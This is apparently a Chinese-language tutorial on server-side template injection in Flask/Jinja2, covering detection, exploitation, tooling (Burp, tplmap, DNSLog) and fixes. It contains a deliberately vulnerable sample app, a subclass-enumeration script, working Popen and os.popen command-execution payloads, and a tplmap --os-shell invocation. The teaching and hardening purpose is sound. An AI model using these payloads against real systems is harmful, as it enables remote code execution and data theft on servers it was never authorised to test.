前段时间给某电商平台做授权测试,注册了一个普通账号后,在收货人昵称的位置输入了一段测试数据——{{7*7}}。结果页面底部直接渲染出了49。那一刻我就知道,这个站点存在SSTI模板注入,对应模板渲染点完全没做隔离。如果你也在做Web安全方向的事,Python安全里最值得抠的一块就是SSTI。这篇内容是我系列学习笔记的第七十讲整理,重点围绕Python安全、SSTI模板注入,以及配套的项目工具三块展开,适合刚接触模板注入、想把原理和利用链路打通的安全测试人员,也适合后端开发同学用来理解为什么模板拼接这么危险。
1. Python安全为什么值得单独开一讲
1.1 Python Web框架把问题集中到了几个点上
Python在Web后端的占比很高,Flask、Django、FastAPI这些框架用起来很顺手,但安全问题也非常集中。SQL注入要有数据库操作,SSRF要有请求外部资源的入口,命令注入要有拼接shell的地方,而SSTI模板注入通常就藏在页面渲染环节。
我自己的学习路径是先把传统Web漏洞过了一遍,再回头专门啃Python安全。原因很简单:传统漏洞是"别人写好的代码有洞,你去触发它",而Python安全更多时候是"框架太灵活,开发者自己把控制权交出去了"。比如Flask默认带Jinja2模板引擎,页面可以用字符串拼接渲染,也可以从模板文件渲染。很多开发图省事,把用户输入直接格式化进模板字符串,这就是SSTI的温床。
安全人员学Python安全,不是要通读源码,而是要搞清楚几个关键面:模板渲染点、反序列化入口、命令执行点、对象属性暴露面。这一讲在模板渲染点上挖到底,连锁反应会牵扯出命令执行和文件读取,所以性价比很高。
1.2 学习SSTI之前需要储备的基础
想把SSTI玩明白,不需要多深的基础,但有几个前置概念必须懂:
- 模板引擎的作用:把静态HTML结构和动态数据合并成最终页面。
- Jinja2核心语法:{{ 变量或表达式 }} 用于输出,{% 逻辑语句 %} 用于控制流。
- Python对象基础:类、实例、属性、方法,以及内置的__class__、mro、__subclasses__这些魔术属性。
- HTTP工具基本功:至少会用Burp Suite抓包、改包、重放请求。
我当时为了练手搭了一个本地漏洞环境,过程很简单,几分钟就能跑起来:
python3 -m venv ssti_lab source ssti_lab/bin/activate pip install flask然后写一个最简Flask应用,这个应用的写法模拟了真实项目中常见的危险拼接:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'guest') return render_template_string('<h1>Hello, %s</h1>' % name) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)访问 http://127.0.0.1:5000/?name={{7*7}} 如果页面返回 Hello, 49,就说明表达式被当作模板代码执行了。这个环境会贯穿整篇,后面所有payload都可以直接在里面验证。
2. SSTI模板注入:从渲染机制到漏洞成因
2.1 模板引擎到底在做什么
一句话解释模板引擎:你把静态结构和占位符写在一起,模板引擎把占位符替换成真正的数据,最后拼出完整页面。
打个比方,模板像一个打印店里的空白表格,你只要在对应位置填上客户信息,表格就完成了。问题是——如果客户填的内容不是普通文字,而是一段"告诉打印机执行某个动作"的指令呢?打印店老板如果直接把这句话原样当作指令处理,那客户就能操纵打印机干别的活。SSTI就是这种情况。
在Jinja2里,{{ }} 里的内容会被当作Python表达式执行,{% %} 里的内容会被当作控制逻辑执行。正常情况下,这是模板作者用来写动态逻辑的。但如果用户输入能进到模板里,用户就能往{{ }}里塞自己的表达式,等于让模板引擎执行用户写的Python代码。
表达式的执行范围取决于模板引擎能访问到的对象。Jinja2默认会给模板提供一些全局变量,比如config、self、request这些,而且Python对象本身是"一点点扒到底"的——你拿到一个字符串对象,就能顺着它的__class__找到它的类,再从类找到父类,从父类找到所有子类,而所有类最终都会汇聚到object。这个过程就是沙箱逃逸的基础。
2.2 漏洞成因:用户输入从“数据”变成了“代码”
最典型的危险写法就是字符串拼接:
return render_template_string('<h1>Hello, %s</h1>' % name)这段代码里,开发者想的是"我把名字填进HTML模板里输出"。但实际上,render_template_string接收的是一个完整的模板文本,name的值已经提前被拼接到模板文本里去了。如果name是{{7*7}},那最终传给模板引擎的字符串就变成了:
<h1>Hello, {{7*7}}</h1>模板引擎看到这个字符串,就会老老实实地把{{7*7}}当作表达式执行,最终输出49。用户输入从"数据"变成了"模板代码",这就是注入的本质。
安全写法其实很简单,把模板和数据分开:
from flask import Flask, request, render_template app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'guest') return render_template('index.html', name=name)index.html里写成
Hello, {{ name }}
,渲染的时候模板引擎会把name这个变量的值当作字符串输出,即使用户传的是{{7*7}},它也只是被当成普通文本。这是修复SSTI最核心的思路:用户输入永远只当数据,不要让它有机会成为模板代码的一部分。2.3 不同模板引擎的异同与识别
不只是Jinja2有模板注入。PHP的Twig、Java的Freemarker和Velocity、Ruby的ERB都有类似问题。不同引擎的payload写法不一样,所以第一步要识别目标用的是什么引擎。
我个人总结的识别套路:
| 测试输入 | Jinja2/Twig | Freemarker |
|---|---|---|
| {{7*7}} | 49 | 不出结果或报错 |
| ${7*7} | 原样输出 | 49 |
| {{7*'7'}} | 7777777(字符串乘法) | 报错或49 |
比如输入{{7*'7'}},Jinja2会输出7777777,因为字符串乘整数得到重复字符串;Twig里如果你接入的是PHP,7*'7'会做类型转换;Freemarker主要吃${}。另外如果页面报错,报错信息里往往会带着引擎名字,比如jinja2.exceptions.UndefinedError,这些都是辨识线索。
识别引擎之后再决定用哪套payload。整篇笔记以Jinja2为主,因为Python Web框架里它最常见,学会了Jinja2,迁移到其他引擎也就是换一套语法的问题。
3. 手把手检测与利用:从验收到逃逸
3.1 三步确认SSTI
第一步,注入特殊符号看反应。输入 {{7*7}} 如果输出49,基本实锤。如果被WAF挡了,换 {%%} 或者 ${} 试试,还可以加注释符 {# #} 看看页面行为有没有变化。
第二步,用带类型语义的测试。比如输入 {{7*'7'}},Jinja2下输出7777777;输入 {{[1,2,3]}},页面会输出 [1, 2, 3] 或者 Python 列表的字符串形态;输入 {{()}},输出空元组。这些都能判断模板是否执行了表达式。
第三步,尝试读取敏感配置。输入 {{config}},如果返回了一串包括SECRET_KEY在内的Flask配置,说明注入点不仅能执行表达式,还能访问到敏感全局对象。从这一步起,漏洞已经从"能算数"升级成"能碰内部数据"了。
确认SSTI之后,真正的重头戏是逃逸。因为模板引擎本身是有沙箱的,直接让你执行系统命令的通道几乎不存在,但Python对象之间的关系给了我们一条顺藤摸瓜的路。
3.2 从模板变量到Python对象的继承链
Python里任何对象都有__class__属性,指向它的类。类的__mro__属性会列出继承链,而链上任意一个类的__subclasses__()方法会返回这个类的所有直接或间接子类。因为所有类最终都继承自object,所以只要能从任何对象出发找到object,就能枚举Python进程里加载的所有类。
在Jinja2模板里,你可以这样拿继承链:
{{''.__class__.__mro__}}输出大致是 (<class 'str'>, <class 'object'>)。字符串的父类就是object。再往下:
{{''.__class__.__mro__[1].__subclasses__()}}这会返回一个包含了当前环境下几百个类的列表。列表里往往隐藏着可以执行命令的类,比如subprocess.Popen、os._wrap_close,以及可以在系统上执行任意代码的类。问题在于类在列表里的位置会随环境变化,所以需要枚举下标。
我一般写个小脚本自动找下标:
import requests import re url = 'http://127.0.0.1:5000/' for i in range(0, 700): payload = "{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i r = requests.get(url, params={'name': payload}) if 'subprocess' in r.text or 'os._wrap_close' in r.text or 'Popen' in r.text: print('[+] index = %d, class = %s' % (i, re.findall(r'<class \'([^\']+)\'>', r.text)[:1]))脚本思路很简单:向漏洞点逐个注入不同下标的payload,看返回内容里有没有类名特征。环境不同,下标完全不同,所以我从不死记硬背固定数字,现场枚举才是正规军打法。
3.3 常用危险类与RCE利用
找到subprocess.Popen的下标后,就可以构造命令执行链。假设枚举到下标为x,利用Popen执行id命令的payload长这样:
{{''.__class__.__mro__[1].__subclasses__()[x]('id', shell=True, stdout=-1).communicate()}}这个payload的意思是:从object类里取下标x对应的子类,也就是subprocess.Popen,然后实例化它执行id命令,通过stdout=-1把输出捕获到管道里,再用communicate()拿到执行结果。如果页面回显了当前的uid、gid等信息,就说明已经拿到命令执行权限了。
除了Popen,另一条经典利用路径是找调用链绕过沙箱。比如通过某个类的__globals__属性获取模块全局命名空间,进而import os,再调用os.system或os.popen。不同Python版本、不同框架版本下,能用得上的类差异很大,所以扫下标这种方法最稳,自动化工具也是这么干的。
如果页面不回显执行结果,那就是盲SSTI场景。常见做法是时间延迟测试:让目标执行sleep 5,页面响应慢5秒说明命令可执行。再配合DNSLog,在命令里发起一次DNS请求,外部DNS记录一旦收到请求,就能确认注入成功。这种方式在真实测试里很管用,因为很多模板渲染点不会把命令结果打印出来。
3.4 责任边界:为什么必须先强调授权
上面这些payload打在自家练习环境上没有任何问题,但真实系统的测试必须在授权范围内进行。无论是SRC项目还是公司安排的红队评估,都要有明确的授权书或测试范围。盲打、RCE、文件读取这些都是高影响力操作,一旦在未授权目标上使用,性质就完全不同了。我在实际项目中,能证明漏洞存在就立刻收手,把利用深度控制在漏洞证明范围内,不随便拖数据库或者拿shell。这也是安全从业者最基本的职业底线。
4. 项目工具链配套:从手动到自动
4.1 Burp Suite:定位注入点的第一入口
做SSTI检测不能上来就盲打,得先用Burp Suite把目标梳理清楚。我在本地环境里开着Burp,浏览器流量走127.0.0.1:8080,然后用Repeater逐参数改包。
流程是这样的:先在浏览器的每个输入框、每个GET参数、每个POST字段里填入{{7*7}},再到Burp的HTTP History里看哪些请求和响应值得关注。如果响应里出现了49或者模板报错,立即转Repeater做进一步验证。
参数越多,越要系统化测。我习惯给每个参数编号,比如name、title、content、callback、redirect,一个个测过去。不要把注意力只放在大头参数上,那些不起眼的参数反而更容易被开发者忽略。比如我之前测的一个系统,主登录接口没什么问题,最后在用户头像URL回调参数里发现了模板注入,进口就是Burp里那个不怎么起眼的"next"参数。
4.2 tplmap:自动化SSTI检测与利用
tplmap是专门检测和利用SSTI的自动化工具,基于Python开发,支持Jinja2、Twig、Freemarker等主流引擎。它做的事情,本质上就是我前面手动做的三步:检测表达式执行、识别引擎、尝试多种逃逸链路。
安装和使用:
git clone https://github.com/epinna/tplmap.git cd tplmap pip install -r requirements.txt python tplmap.py -u 'http://127.0.0.1:5000/?name=test' --os-shell如果注入点有效,tplmap会自动识别引擎并尝试建立命令通道,--os-shell参数会尝试打开一个交互式shell。实际项目里我不一定真的开shell,更多是拿它做自动化验证,确认漏洞存在就够了,因为很多系统加载了WAF,tplmap的固定payload很容易被拦。
工具好用,但也别依赖到底。第一,tplmap对参数位置的覆盖需要手动调整,比如有些参数在JSON请求体里,工具默认不一定能处理。第二,工具链的payload是通用化的,遇到特殊过滤场景就得自己写绕过。我的习惯是工具扫一遍,手动再验一遍,自动化结果只当线索,不直接写进报告。
4.3 DNSLog:解决盲SSTI回显问题
真实世界里的SSTI不是都有回显。有些模板渲染点虽然执行了表达式,但结果不输出到页面上,这时候就需要借助外部通道确认执行结果。DNSLog就是干这个的。
思路:自己在DNSLog平台上拿到一个专属子域名,然后在SSTI payload里构造一个命令,让命令去请求这个子域名。比如通过命令执行发起一条包含自定义标识的DNS查询,如果DNSLog后台收到了记录,就说明命令确实执行了。
这种方法的优势在于,即使目标环境禁止外联HTTP,DNS请求在很多网络架构里依然会被放行。盲打场景下,DNSLog比HTTP回调稳定得多。我一般在payload里加上时间戳参数,防止DNS缓存干扰判断。
4.4 自写脚本批量扫描参数
除了现成工具,我还会写点一次性脚本处理大量参数的检测。思路不难:拿到请求模板,替换每个参数值为固定payload,检查响应特征。
import requests payloads = [ '{{7*7}}', '{{7*\'7\'}}', '{{config}}', '{{""["__class__"]}}' ] url = 'http://127.0.0.1:5000/' for p in payloads: r = requests.get(url, params={'name': p}) if '49' in r.text or '7777777' in r.text or 'SECRET_KEY' in r.text: print('[+] payload: %s -> response length: %d' % (p, len(r.text)))这只是个雏形。真实场景里我会用Burp把整个请求导出成文件,脚本读取后逐参数替换、逐位置测试,再配合多线程提速。自写脚本最大的价值不是代替工具,而是能精准控制测试覆盖范围,不放过Burp和tplmap覆盖不到的角落。
工具的配合逻辑可以概括成一句话:Burp负责找入口,tplmap负责自动化确认,DNSLog负责解决无回显,自写脚本负责兜底和批量覆盖。
5. 修复方案与安全加固实践
5.1 使用安全的渲染接口
前面已经演示过核心修复方式:避免拼接模板字符串,优先使用render_template加载模板文件,用户输入只作为变量传入。如果业务场景必须使用render_template_string,那就要严格确保没有任何用户可控内容进入模板文本。
我再补一个真实场景分析。之前看过一个内部工单系统,代码里写的是:
return render_template_string(template, **params)乍一看没问题,模板和参数分离了。但仔细看才发现,template是从数据库读取的配置项,而配置项可以通过管理后台的某个接口被普通用户修改,等于用户间接控制了模板内容。这种间接入口很容易被漏掉。所以修复SSTI不仅要看渲染代码,还要追踪模板文本本身的所有来源路径。
5.2 输入校验与输出编码
除了渲染接口层面,输入校验也要做。如果业务场景里根本不希望用户输入包含{{ }}、{% %}这类模板语法,就趁着入参阶段拦掉。可以用正则白名单校验,比如用户昵称只允许中英文、数字、少量常用符号,直接拒绝模板关键字。
需要强调的是,输出编码不能单独靠autoescape解决。Jinja2的autoescape只负责HTML实体转义,比如把<变成<,但它不会阻止表达式执行。你让模板输出{{77}},转义之后页面显示的文字依然可能是{{77}}的字符串形式,但它已经被当成字符串输出而不是表达式执行了。转义解决的是XSS问题,SSTI的根子还是在"用户输入能不能进模板"。
5.3 上下文隔离与沙箱
如果模板场景确实复杂,比如业务系统需要允许用户自定义模板片段,那就得考虑沙箱隔离。Jinja2支持配置受限环境,可以禁用某些属性和方法:
from jinja2 import Environment from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment()SandboxedEnvironment相比默认环境,限制了部分魔术属性的访问,能提高逃逸门槛。但沙箱不是绝对安全的,历史上也出过绕过方式,所以沙箱只能作为纵深防御的其中一层,不能当作唯一防线。
权限最小化同样重要。运行Web服务的系统账户如果本身没有多少权限,即使SSTI被打穿导致命令执行,攻击者能做的事情也有限。容器化、只读文件系统、最小化系统用户,这些基础加固都会显著降低漏洞被进一步利用的杀伤力。
5.4 依赖管理与安全基线
框架和模板引擎的版本要定期升级。Jinja2和Flask都在持续修复安全问题,旧版本的沙箱绕过和路径穿越问题可能在升级后就失效了。我见过不少系统,功能没多复杂,架不住依赖好几年不升,结果一个2021年就公开的漏洞还稳稳躺在线上。
上线前的安全测试也应该把SSTI列入用例。开发自测时,除了功能用例,至少加一条"输入{{7*7}}观察是否出现49"的冒烟测试。WAF层面如果有条件,可以针对模板关键字加一条告警规则,记录{{、{%、${等特征出现在请求参数中的行为。不过WAF只能增加绕过成本,不能替代代码修复。
6. 常见问题与排查技巧实录
6.1 测试Payload没有生效
经常遇到的一种情况:输入{{7*7}},页面原样输出,没有变成49。原因可能有三层。第一,模板引擎不接受{{ }}语法,此时换${}、<%= %>等引擎对应语法再试。第二,输入经过了一次HTML实体编码,<、>、{这些符号变成了实体,需要url编码或者想办法绕过过滤。第三,框架层面做了参数校验,payload还没到模板层就被拦截了,可以通过改请求方法、拆分关键字等方式绕过,但既然是修复过的系统,测不出来反而是好事。
我自己的排查顺序是:先确认参数名称和位置,再看响应头里的编码和状态码,最后换不同语法家族分别测试。很多时候不是没有SSTI,而是测试姿势不对。
6.2 有回显但输出被截断
有些页面会把用户输入的长度卡得很死,比如只取前20个字符。我遇到一个案例,输入的payload太长,模板执行了,但结果被截掉,看不到完整类名。解决办法是分段探测:用{{[0]}}这类短payload验证执行,再用较短的表达式读取单条信息,比如拆解成多次请求分别获取不同片段。还可以利用模板的过滤器和切片语法,把输出截断到可控长度。
6.3 枚举不到可用类
同样一份payload,在不同Python版本下能用的类索引完全不同。Python 3.8和Python 3.10的__subclasses__()列表结构差异很大,有些类在旧版本里存在,新版本里被移除了。遇到这种情况别慌,重新枚举即可,但要注意枚举请求的量可能很大,批量脚本里建议控制并发数,避免拖垮目标。
如果连__subclasses__()都调用报错,很可能是模板引擎版本做了限制,比如Jinja2开启了对某些属性的黑名单。这时候需要寻找其他可访问的入口对象,比如request、config、self、url_for这些Jinja2自带全局对象,它们身上往往挂着更多可探索的属性。
6.4 盲打场景处理
盲SSTI最头疼的其实是"不知道有没有执行"。先做时间盲注,比如注入 {{config.class.init.globals['os'].popen('sleep 5').read()}} 这类payload,页面响应慢5秒则说明命令链可走通。再用DNSLog做二次确认。这里有个细节:sleep的执行时间要明显,5秒起步,别用1秒,网络抖动会造成误判。
6.5 工具报错与版本兼容问题
tplmap对目标环境的依赖比较多,本地装了requests、urllib3这些库的版本都可能影响运行。我碰到过只报错不出结果的情况,多半是环境问题而不是目标没有洞。另外,tplmap在遇到WAF或者特殊过滤时成功率会下降,不是工具失效,而是被绕过了。工具输出"Engine not detected"不代表没有注入点,手动用Burp单独验证才靠谱。
排查技巧速查:
| 现象 | 可能原因 | 处理方向 |
|---|---|---|
| {{7*7}}原样输出 | 引擎语法不同 | 换${}等其他语法 |
| 页面报错但无回显 | 渲染异常被吞 | 用时间延迟确认 |
| __subclasses__枚举失败 | 沙箱或版本限制 | 换入口对象绕路 |
| 命令执行无输出 | 盲打场景 | 用DNSLog验证 |
| tplmap识别失败 | 过滤/WAF/环境问题 | 手动验证不依赖工具 |
我个人的体会是,SSTI真正难的不是记住某一条payload,而是理解对象链背后的逻辑。你知道了类之间的继承关系,知道了__globals__能拿到模块全局命名空间,自然就能组合出适合当前环境的利用链。顺带说一个实战里经常用到的小技巧:在Flask开启debug模式的情况下,SSTI配合读取环境变量和文件内容,有可能进一步获取到Werkzeug的调试器PIN码,直接导致代码执行,这个链路在测试中值得优先验证。不过还是那句老话,所有操作都必须在授权范围内,点到为止,测出问题就收工,这活儿才能长久干下去。